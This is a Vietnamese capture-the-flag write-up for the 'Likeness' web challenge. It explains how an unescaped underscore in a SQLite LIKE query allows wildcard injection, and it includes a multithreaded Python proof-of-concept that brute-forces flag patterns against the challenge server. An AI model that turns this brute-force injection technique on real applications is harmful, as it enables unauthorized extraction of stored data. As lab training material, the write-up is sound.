Web-Likeness
Chào anh chị em, hôm nay được sự đồng ý và cổ vũ nhiệt tình từ đàn anh Cookie hân hoan, mình sẽ viết writeup về challenge web - Likeness
Cùng lướt qua danh sách phần mềm mà mình sử dụng:
Kiến thức mà mình dùng để đạt được mục đích:
Nào cùng phân tích
Đầu tiên mình sẽ ghé thăm đối tượng
hình 1: Giao diện của đối tượng
Ở đây, chúng ta được cung cấp những thông tin như xem code ở /source, Flag nằm ở mục lastname của DB; và đặc biệt cấu trúc của cờ là CHH{…}. Mình sẽ ghi chú nó lại.
Sau đó, mình tải/mở xem code tại route /source
Nào cũng nhau phân tích code nhé
hình 2: thư viện mà máy chủ sử dụng
Ở hình 2 ta thấy máy chủ sử dụng cơ sở dữ liệu SQLite và chạy trên nền tảng Flask.
hình 3: code tại if __name__ == “__main__”
Khi máy chủ hoạt động ta thấy rằng nó sẽ:
- Sinh ra một file cơ sở dữ liệu mới có tên là “users.db” được thể hiện ở dòng 43
- Tại dòng 45-47 cursor thực thi tạo ra một table là authors có các fields như first, middle và last;
- Cursor cũng tiến hành thêm dữ liệu cho bảng trên (dòng 48-61), ngay tại dòng 60 thì ta sẽ thấy mục tiêu cần đạt được thêm ở cột last với first và middle lần lượt là “Psedonymous” và “Unpuzzler7”
Suy ra mục tiêu có thể được chinh phục với SQL Injection.
Tuy nhiên, mình cần thêm nhiều thông tin hơn giúp khái thác hiệu quả hơn, nào quan sát quá trình hoạt động khi server nhận được các request từ client qua các routes do lập trình viên tạo ra
hình 4: Các routes do lập trình viên thiết lập
Qua hình 4 ta thấy rằng lập trình viên tạo ra 2 tuyến
- Tuyến “/”
- Tuyến “/source”
Đi sâu vào tuyến “/”.
hình 5: Tuyến " / "
Ố ồ bạn thấy 27-28 chứ. Chúng ta sẽ không khai thác SQL Injection kiểu '1 or 1 = 1-- bởi vì đó chính là “? Placeholders”.
Vào cái mùa ra đường nắng bể đầu ở Sài Gòn thì dòng lệnh 28
request.args['lastname'].replace('%', '')
đã tiếp cho mình 3.14 cây que kem ốc quế. Bởi vì dòng code này đang chứng minh rằng chúng quên thay thế ký tự underscore(_)
Thêm một đặt điểm mà chúng ta cần lưu ý đó là:
Ý nghĩa: giới hạn lượng truy cập đối với route " / " là 5 lượt trên 1 giây.
Phân tích đối tượng với wireshark:
Mình sẽ tìm địa chỉ IPv4 của máy chủ với
>>> from socket import gethostbyname
>>> gethostbyname('likeness-838c833a.dailycookie.cloud')
'103.97.125.53'
Ngay sau đó mình kiểm tra các gói tin HTTP với host là 103.97.125.53 với wireshark để xem xét sự khác biệt nhằm đưa ra giải pháp/phương pháp truy tìm câu truy vấn tốt nhất.
Thông qua quá trình kiểm tra ba gói tin khi truy cập trang web (hình 7), nhập ký tự bất kỳ (hình 8) và 5 dấu underscore (hình 9).
hình 6
hình 7
hình 8
Qua 3 hình trên ta thấy đặc điểm dễ nhận biết nhất là sự khác biệt trong gói tin (text/html) nhận được, đó là có thẻ table và h2 với nội dung Search Results..
Đồng thời thông qua wireshark mình phát hiện máy chủ hoạt động trên cổng 80 (http)
hình 9
Như vậy, sau khi chúng ta phân tích xong thì thu được các kết quả như sau:
- Máy chủ:
- IPv4: 103.97.125.53
- Host: likeness-838c833a.dailycookie.cloud
- Port: 80
- Giới hạn truy cập tại tuyến " / " là 5 lượt trên môt giây.
- Phương pháp khai thác
- SQL Injection với underscore
- Brute force
Viết POC:
Mình sẽ tạo ra một file config.json
{
"host": ...,
"port": ...,
"methods": ...,
"url": ...,
"version": ...,
"header": {
"Host": ...,
"User-Agent": ...,
"Accept": ...,
"Accept-Language": ...,
"Connection": ...
},
"buffer": ....
}
Ngay sau đó sẽ code chứng mình rằng phương pháp của mình là chính xác.
import socket
import json
import argparse
from time import sleep
import threading, queue
args = argparse.ArgumentParser()
args.add_argument('--config', '-c', default='config.json')
args.add_argument('--thread', '-t', type=int, default=5)
args.add_argument('--begin', '-b', type=int, default=1)
args.add_argument('--end', '-e', type=int, default=1000000)
args = args.parse_args()
config = json.load(open(args.config))
host = socket.gethostbyname(config.get('host', '0.0.0.0'))
port = config.get('port', 80)
url = config.get('url', "/")
method = config.get('method', 'GET')
version = config.get('version', 'HTTP/1.1')
header = config.get('header', {})
header['Host'] = config.get('host', f'0.0.0.0:{port}')
buffer = config.get('buffer', 1024)
dict2raw = lambda x: '\r\n'.join([f'{k}:{x[k]}' for k in x])+'\r\n'*2
payload = lambda n : f"CHH\x7b{'_'*n}\x7d"
check = lambda res : res.decode().count('\x53\x65\x61\x72\x63\x68\x20\x52\x65\x73\x75\x6c\x74\x73\x3a')
__tmpq = queue.Queue()
__step = (args.end - args.begin + 1) // args.thread
all_t = []
def main(a, b, q:queue.Queue):
print(f"Start find the target from {a} to {b}")
for i in range(a, b + 1):
if not q.empty():
print(f"{a} >> {b}: Turn off successful")
return
__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
__sock.connect((host, port))
__sock.send(f'{method} {url%(payload(i))} {version}\r\n{dict2raw(header)}'.encode())
__recv = b''
data = __sock.recv(buffer)
while True:
__recv += data
if len(data) != buffer: break
data = __sock.recv(buffer)
if check(__recv):
q.put(payload(i))
print(f"{a} >> {b}: Explore a suitable query to showcase SQL Injection attack")
return
__sock.close()
sleep(1)
print(f"{a} >> {b}: No results found!")
return
for i in range(args.begin, args.end, __step):
all_t.append(threading.Thread(
target = main,
args=(
i,
min(args.end, i + __step - 1),
__tmpq
)
))
all_t[-1].start()
while __tmpq.empty():
if len(all_t):
all_t = list(filter(lambda i: i.is_alive(), all_t))
else:
print("No results found!")
exit(1)
else: print(">> Turn off all threads")
while len(all_t): all_t = list(filter(lambda i: i.is_alive(), all_t))
print(f"Good query >> {__tmpq.get()}")
Chạy POC:
> python run.py --begin 1 --end 200
Kết quả:
Rồi copy và dán lên tìm thôi:
Tada vậy là mình đã chinh phục thành công.
Kết bài:
Chân thành cảm ơn người anh Cookie hân hoan đã tạo ra sân chơi CTF đầy thú vị với nhiều dạng challenge để mọi người cùng nghiên cứu và try hard. Bản thân mình thì học tập được rất nhiều điều từ các challenge, và mình sẽ có gắng viết những writeup challenge khác hay hơn nữa. Nếu có góp ý và thắc mắc xin hãy thả thơ vào phần bình luận
Chúc mọi người một ngày try hard thành công